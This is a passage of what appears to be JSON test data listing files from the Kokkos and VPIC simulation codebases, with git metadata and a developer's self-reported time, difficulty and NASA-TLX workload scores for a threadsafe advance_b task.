{"name":"./kokkos/core/unit_test/config/results/SNB_Serial_KokkosCore_config.h","size":627,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_OpenMP_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Serial_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_ROCm_KokkosCore_config.h","size":600,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Qthreads_KokkosCore_config.h","size":573,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Qthreads_KokkosCore_config.h","size":626,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Serial_KokkosCore_config.h","size":688,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_Serial_KokkosCore_config.h","size":628,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Cuda_KokkosCore_config.h","size":569,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Qthreads_KokkosCore_config.h","size":690,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_Cuda_KokkosCore_config.h","size":655,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_ROCm_KokkosCore_config.h","size":717,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Pthread_KokkosCore_config.h","size":628,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_OpenMP_KokkosCore_config.h","size":568,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Pthread_KokkosCore_config.h","size":569,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_ROCm_KokkosCore_config.h","size":658,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Serial_KokkosCore_config.h","size":608,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Cuda_KokkosCore_config.h","size":598,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Pthread_KokkosCore_config.h","size":683,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_ROCm_KokkosCore_config.h","size":637,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Cuda_KokkosCore_config.h","size":709,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Cuda_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Pthread_KokkosCore_config.h","size":630,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Cuda_KokkosCore_config.h","size":598,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Qthreads_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Qthreads_KokkosCore_config.h","size":610,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_OpenMP_KokkosCore_config.h","size":627,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_ROCm_KokkosCore_config.h","size":656,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_OpenMP_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SNB_Cuda_KokkosCore_config.h","size":654,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Serial_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_OpenMP_KokkosCore_config.h","size":628,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Serial_KokkosCore_config.h","size":624,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_OpenMP_KokkosCore_config.h","size":608,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler32_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Qthreads_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_ROCm_KokkosCore_config.h","size":657,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Cuda_KokkosCore_config.h","size":660,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Cuda_KokkosCore_config.h","size":569,"last_modified":1528906778},
{"name":"./kokkos/tpls/gtest/gtest/gtest.h","size":830614,"last_modified":1528906780},
{"name":"./build/kokkos/KokkosCore_config.h","size":634,"last_modified":1531158567},
{"name":"./kokkos/example/cmake_build/foo.f","size":108,"last_modified":1528906780}
]},
{"git_info":[
{"commit_hash":"24e948133901e1e158d7485d9035fea131c4e2f2"},
{"branch":"test"}
]}
]}
]}""")
test_json.append("""{"user_responses":
{"description":"Threadsafe advance_b
"},
{"time_categories":
{"planning":
{"time_spent":1.000000}, {"difficulty":6}
},
{"coding":
{"time_spent":4.000000}, {"difficulty":5}
},
{"refactoring":
{"time_spent":0.000000}, {"difficulty":0}
},
{"debugging":
{"time_spent":2.000000}, {"difficulty":5}
},
{"optimising":
{"time_spent":0.000000}, {"difficulty":0}
}
} {"tags":
{"MPI":false},
{"OpenMP":false},
{"Cuda":false},
{"Kokkos":true},
{"domain specific work":false}
},
{"NASA-TLX":
{"mental_demand":5}, {"temporal_demand":5}, {"performance":4}, {"effort":6}, {"frustration":6} }}
{"status":""}{"files":
{"name":"./sample/interface_deck_2D_decomp/head/interface_deck_2D_decomp.cc","size":79168,"last_modified":1528842309}{"name":"./sample/interface_deck_2D_decomp/407/v407_interface_deck_2D_decomp.cc","size":80015,"last_modified":1528842309}{"name":"./utilities/symbols.h","size":1274,"last_modified":1528842309}{"name":"./utilities/gtest-vpic.cc","size":500,"last_modified":1528842309}{"name":"./utilities/restart_remap.cc","size":1796,"last_modified":1528842309}{"name":"./deck/main.cc","size":3001,"last_modified":1528842308}{"name":"./deck/wrapper.cc","size":25863,"last_modified":1528842308}{"name":"./src/material/material.h","size":1438,"last_modified":1528842309}{"name":"./src/material/material.cc","size":2825,"last_modified":1528842309}{"name":"./src/util/bitfield.h","size":2961,"last_modified":1528842309}{"name":"./src/util/swap.h","size":4340,"last_modified":1528842309}{"name":"./src/util/system.h","size":1880,"last_modified":1528842309}{"name":"./src/util/io/P2PIOPolicy.h","size":13536,"last_modified":1528842309}{"name":"./src/util/io/FileIOData.h","size":402,"last_modified":1528842309}{"name":"./src/util/io/FileIO.h","size":1855,"last_modified":1528842309}{"name":"./src/util/io/StandardUtilsPolicy.h","size":577,"last_modified":1528842309}{"name":"./src/util/io/P2PUtilsPolicy.h","size":1218,"last_modified":1528842309}{"name":"./src/util/io/FileUtils.h","size":778,"last_modified":1528842309}{"name":"./src/util/io/StandardIOPolicy.h","size":3305,"last_modified":1528842309}{"name":"./src/util/profile/profile.cc","size":1773,"last_modified":1528842309}{"name":"./src/util/profile/profile.h","size":3083,"last_modified":1528842309}{"name":"./src/util/util_base.h","size":14693,"last_modified":1528842309}{"name":"./src/util/checkpt/checkpt.cc","size":22150,"last_modified":1528842309}{"name":"./src/util/checkpt/checkpt.h","size":13238,"last_modified":1528842309}{"name":"./src/util/checkpt/checkpt_io.cc","size":680,"last_modified":1528842309}{"name":"./src/util/checkpt/checkpt_io.h","size":1709,"last_modified":1528842309}{"name":"./src/util/checkpt/checkpt_private.h","size":628,"last_modified":1528842309}{"name":"./src/util/util.h","size":1060,"last_modified":1528842309}{"name":"./src/util/boot.cc","size":1167,"last_modified":1528842309}{"name":"./src/util/util_base.cc","size":6923,"last_modified":1529684156}{"name":"./src/util/rng/rng.h","size":9313,"last_modified":1528842309}{"name":"./src/util/rng/frandn_table.h","size":312,"last_modified":1528842309}{"name":"./src/util/rng/test/rng.cc","size":13287,"last_modified":1528842309}{"name":"./src/util/rng/rng_private.h","size":11345,"last_modified":1528842309}{"name":"./src/util/rng/frandn_table.cc","size":7759,"last_modified":1528842309}{"name":"./src/util/rng/rng.cc","size":17713,"last_modified":1528842309}{"name":"./src/util/rng/drandn_table.cc","size":30219,"last_modified":1528842309}{"name":"./src/util/rng/rng_pool.cc","size":1475,"last_modified":1528842309}{"name":"./src/util/rng/drandn_table.h","size":320,"last_modified":1528842309}{"name":"./src/util/mp/RelayPolicy.h","size":12301,"last_modified":1528842309}{"name":"./src/util/mp/mp.cc","size":2494,"last_modified":1528842309}{"name":"./src/util/mp/mp.h","size":3441,"last_modified":1528842309}{"name":"./src/util/mp/DMPPolicy.h","size":10437,"last_modified":1528842309}{"name":"./src/util/mp/MPWrapper.h","size":540,"last_modified":1528842309}{"name":"./src/util/v4/v4_sse.h","size":33491,"last_modified":1528842309}{"name":"./src/util/v4/test/v4.cc","size":11628,"last_modified":1528842309}{"name":"./src/util/v4/v4_portable.h","size":33860,"last_modified":1528842309}{"name":"./src/util/v4/v4_altivec.h","size":42173,"last_modified":1528842309}{"name":"./src/util/v4/v4.h","size":343,"last_modified":1528842309}{"name":"./src/util/checksum.h","size":1125,"last_modified":1528842309}{"name":"./src/util/pipelines/pipelines_thread.cc","size":19730,"last_modified":1529684049}{"name":"./src/util/pipelines/pipelines_serial.cc","size":2100,"last_modified":1528842309}{"name":"./src/util/pipelines/pipelines.h","size":3872,"last_modified":1528842309}{"name":"./src/vpic/dumpmacros.h","size":8876,"last_modified":1528842309}{"name":"./src/vpic/advance.cc","size":9176,"last_modified":1530308270}{"name":"./src/vpic/diagnostics.cc","size":2261,"last_modified":1528842309}{"name":"./src/vpic/vpic.cc","size":3605,"last_modified":1528842309}{"name":"./src/vpic/vpic_unit_deck.h","size":457,"last_modified":1528842309}{"name":"./src/vpic/kokkos_helpers.h","size":6363,"last_modified":1530566179}{"name":"./src/vpic/vpic.h","size":22550,"last_modified":1529939504}{"name":"./src/vpic/misc.cc","size":10026,"last_modified":1528842309}{"name":"./src/vpic/initialize.cc","size":3000,"last_modified":1529438026}{"name":"./src/vpic/dump.cc","size":27661,"last_modified":1528842309}{"name":"./src/field_advance/standard/vacuum_energy_f.cc","size":4800,"last_modified":1528842309}{"name":"./src/field_advance/standard/compute_rms_div_b_err.cc","size":1977,"last_modified":1528842309}{"name":"./src/field_advance/standard/advance_b.cc","size":5157,"last_modified":1530574166}{"name":"./src/field_advance/standard/sfa.cc","size":7292,"last_modified":1530308270}{"name":"./src/field_advance/standard/vacuum_compute_curl_b.cc","size":9562,"last_modified":1528842309}{"name":"./src/field_advance/standard/vacuum_advance_e.cc","size":11198,"last_modified":1528842309}{"name":"./src/field_advance/standard/compute_rhob.cc","size":4404,"last_modified":1528842309}{"name":"./src/field_advance/standard/advance_e.cc","size":12678,"last_modified":1528842309}{"name":"./src/field_advance/standard/energy_f.cc","size":4575,"last_modified":1528842309}{"name":"./src/field_advance/standard/vacuum_compute_div_e_err.cc","size":4598,"last_modified":1528842309}{"name":"./src/field_advance/standard/clean_div_e.cc","size":4207,"last_modified":1528842309}{"name":"./src/field_advance/standard/remote.cc","size":23843,"last_modified":1528842309}{"name":"./src/field_advance/standard/compute_div_b_err.cc","size":4871,"last_modified":1528842309}{"name":"./src/field_advance/standard/clean_div_b.cc","size":7907,"last_modified":1528842309}{"name":"./src/field_advance/standard/vacuum_clean_div_e.cc","size":4037,"last_modified":1528842309}{"name":"./src/field_advance/standard/compute_rms_div_e_err.cc","size":4791,"last_modified":1528842309}{"name":"./src/field_advance/standard/vacuum_compute_rhob.cc","size":4439,"last_modified":1528842309}{"name":"./src/field_advance/standard/compute_div_e_err.cc","size":4521,"last_modified":1528842309}{"name":"./src/field_advance/standard/compute_curl_b.cc","size":10347,"last_modified":1528842309}{"name":"./src/field_advance/standard/local.cc","size":24664,"last_modified":1530204456}{"name":"./src/field_advance/standard/sfa_private.h","size":14413,"last_modified":1530308270}{"name":"./src/field_advance/field_advance_private.h","size":545,"last_modified":1528842309}{"name":"./src/field_advance/field_advance.cc","size":2089,"last_modified":1528842309}{"name":"./src/field_advance/field_advance.h","size":10293,"last_modified":1530308270}{"name":"./src/species_advance/standard/energy_p.cc","size":4421,"last_modified":1528842309}{"name":"./src/species_advance/standard/sort_p.cc","size":9721,"last_modified":1528842309}{"name":"./src/species_advance/standard/rho_p.cc","size":7133,"last_modified":1528842309}{"name":"./src/species_advance/standard/advance_p.cc","size":17585,"last_modified":1528842309}{"name":"./src/species_advance/standard/uncenter_p.cc","size":5982,"last_modified":1528842309}{"name":"./src/species_advance/standard/move_p.cc","size":14414,"last_modified":1528842309}{"name":"./src/species_advance/standard/center_p.cc","size":5891,"last_modified":1528842309}{"name":"./src/species_advance/standard/hydro_p.cc","size":6464,"last_modified":1528842309}{"name":"./src/species_advance/standard/spa_private.h","size":5627,"last_modified":1528842309}{"name":"./src/species_advance/species_advance.cc","size":3637,"last_modified":1528842309}{"name":"./src/species_advance/species_advance.h","size":7654,"last_modified":1528842309}{"name":"./src/grid/grid.h","size":14277,"last_modified":1529961841}{"name":"./src/grid/partition.cc","size":6164,"last_modified":1528842309}{"name":"./src/grid/ops.cc","size":7031,"last_modified":1528842309}{"name":"./src/grid/grid_comm.cc","size":1810,"last_modified":1528842309}{"name":"./src/grid/grid_structors.cc","size":1183,"last_modified":1528842309}{"name":"./src/boundary/link.cc","size":2404,"last_modified":1528842309}{"name":"./src/boundary/absorb_tally.cc","size":2630,"last_modified":1528842309}{"name":"./src/boundary/boundary.h","size":1516,"last_modified":1528842309}{"name":"./src/boundary/maxwellian_reflux.cc","size":8642,"last_modified":1528842309}{"name":"./src/boundary/boundary_p.cc","size":16088,"last_modified":1528842309}{"name":"./src/boundary/boundary_private.h","size":2437,"last_modified":1528842309}{"name":"./src/boundary/boundary.cc","size":2281,"last_modified":1528842309}{"name":"./src/collision/collision.cc","size":2100,"last_modified":1528842309}{"name":"./src/collision/unary.cc","size":5158,"last_modified":1528842309}{"name":"./src/collision/langevin.cc","size":4740,"last_modified":1528842309}{"name":"./src/collision/collision_private.h","size":1469,"last_modified":1528842309}{"name":"./src/collision/binary.cc","size":9583,"last_modified":1528842309}{"name":"./src/collision/hard_sphere.cc","size":17874,"last_modified":1528842309}{"name":"./src/collision/large_angle_coulomb.cc","size":11081,"last_modified":1528842309}{"name":"./src/collision/collision.h","size":12961,"last_modified":1528842309}{"name":"./src/emitter/emitter.cc","size":2366,"last_modified":1528842309}{"name":"./src/emitter/child_langmuir.cc","size":8682,"last_modified":1528842309}{"name":"./src/emitter/emitter_private.h","size":1115,"last_modified":1528842309}{"name":"./src/emitter/emitter.h","size":2906,"last_modified":1528842309}{"name":"./src/sf_interface/reduce_accumulators.cc","size":6310,"last_modified":1528842309}{"name":"./src/sf_interface/clear_accumulators.cc","size":1161,"last_modified":1528842309}{"name":"./src/sf_interface/sf_interface.h","size":5787,"last_modified":1528842309}{"name":"./src/sf_interface/sf_interface_private.h","size":2480,"last_modified":1528842309}{"name":"./src/sf_interface/accumulator_array.cc","size":1680,"last_modified":1528842309}{"name":"./src/sf_interface/hydro_array.cc","size":7869,"last_modified":1528842309}{"name":"./src/sf_interface/interpolator_array.cc","size":10078,"last_modified":1528842309}{"name":"./src/sf_interface/unload_accumulator.cc","size":3507,"last_modified":1528842309}{"name":"./kokkos/containers/performance_tests/TestOpenMP.cpp","size":4713,"last_modified":1529436737}{"name":"./kokkos/containers/performance_tests/TestCuda.cpp","size":3506,"last_modified":1529436737}{"name":"./kokkos/containers/performance_tests/TestMain.cpp","size":2145,"last_modified":1529436737}{"name":"./kokkos/containers/performance_tests/TestThreads.cpp","size":4574,"last_modified":1529436737}{"name":"./kokkos/containers/performance_tests/TestROCm.cpp","size":3732,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_DynRankViewAPI_rank67.cpp","size":2044,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_DynRankViewAPI_generic.cpp","size":2045,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_BitSet.cpp","size":2033,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_UnorderedMap.cpp","size":2039,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_Vector.cpp","size":2033,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_ScatterView.cpp","size":2038,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_DualView.cpp","size":2035,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_StaticCrsGraph.cpp","size":2041,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_DynRankViewAPI_rank12345.cpp","size":2047,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_ErrorReporter.cpp","size":2040,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_ViewCtorPropEmbeddedDim.cpp","size":2050,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/serial/TestSerial_DynamicView.cpp","size":2038,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_DynRankViewAPI_rank67.cpp","size":2040,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_ErrorReporter.cpp","size":2036,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_UnorderedMap.cpp","size":2035,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_StaticCrsGraph.cpp","size":2037,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_DualView.cpp","size":2031,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_Vector.cpp","size":2029,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_ScatterView.cpp","size":2034,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_DynRankViewAPI_generic.cpp","size":2041,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_BitSet.cpp","size":2029,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_ViewCtorPropEmbeddedDim.cpp","size":2046,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_DynRankViewAPI_rank12345.cpp","size":2043,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/rocm/TestROCm_DynamicView.cpp","size":2034,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_DynRankViewAPI_rank67.cpp","size":2044,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_DynRankViewAPI_generic.cpp","size":2045,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_Vector.cpp","size":2033,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_DynRankViewAPI_rank12345.cpp","size":2047,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_DynamicView.cpp","size":2038,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_ScatterView.cpp","size":2038,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_UnorderedMap.cpp","size":2039,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_DualView.cpp","size":2035,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_ErrorReporter.cpp","size":2040,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_BitSet.cpp","size":2033,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_StaticCrsGraph.cpp","size":2041,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/openmp/TestOpenMP_ViewCtorPropEmbeddedDim.cpp","size":2050,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/UnitTestMain.cpp","size":2220,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_ErrorReporter.cpp","size":2036,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_ScatterView.cpp","size":2034,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_BitSet.cpp","size":2029,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_DynRankViewAPI_generic.cpp","size":2041,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_DynamicView.cpp","size":2034,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_DynRankViewAPI_rank67.cpp","size":2040,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_UnorderedMap.cpp","size":2035,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_DynRankViewAPI_rank12345.cpp","size":2043,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_StaticCrsGraph.cpp","size":2037,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_ViewCtorPropEmbeddedDim.cpp","size":2046,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_Vector.cpp","size":2029,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/cuda/TestCuda_DualView.cpp","size":2031,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_DynRankViewAPI_rank12345.cpp","size":2049,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_StaticCrsGraph.cpp","size":2043,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_DynRankViewAPI_generic.cpp","size":2047,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_ErrorReporter.cpp","size":2042,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_BitSet.cpp","size":2035,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_DualView.cpp","size":2037,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_Vector.cpp","size":2035,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_UnorderedMap.cpp","size":2041,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_DynRankViewAPI_rank67.cpp","size":2046,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_DynamicView.cpp","size":2040,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_ScatterView.cpp","size":2040,"last_modified":1529436737}{"name":"./kokkos/containers/unit_tests/threads/TestThreads_ViewCtorPropEmbeddedDim.cpp","size":2052,"last_modified":1529436737}{"name":"./kokkos/containers/src/impl/Kokkos_UnorderedMap_impl.cpp","size":4731,"last_modified":1529436737}{"name":"./kokkos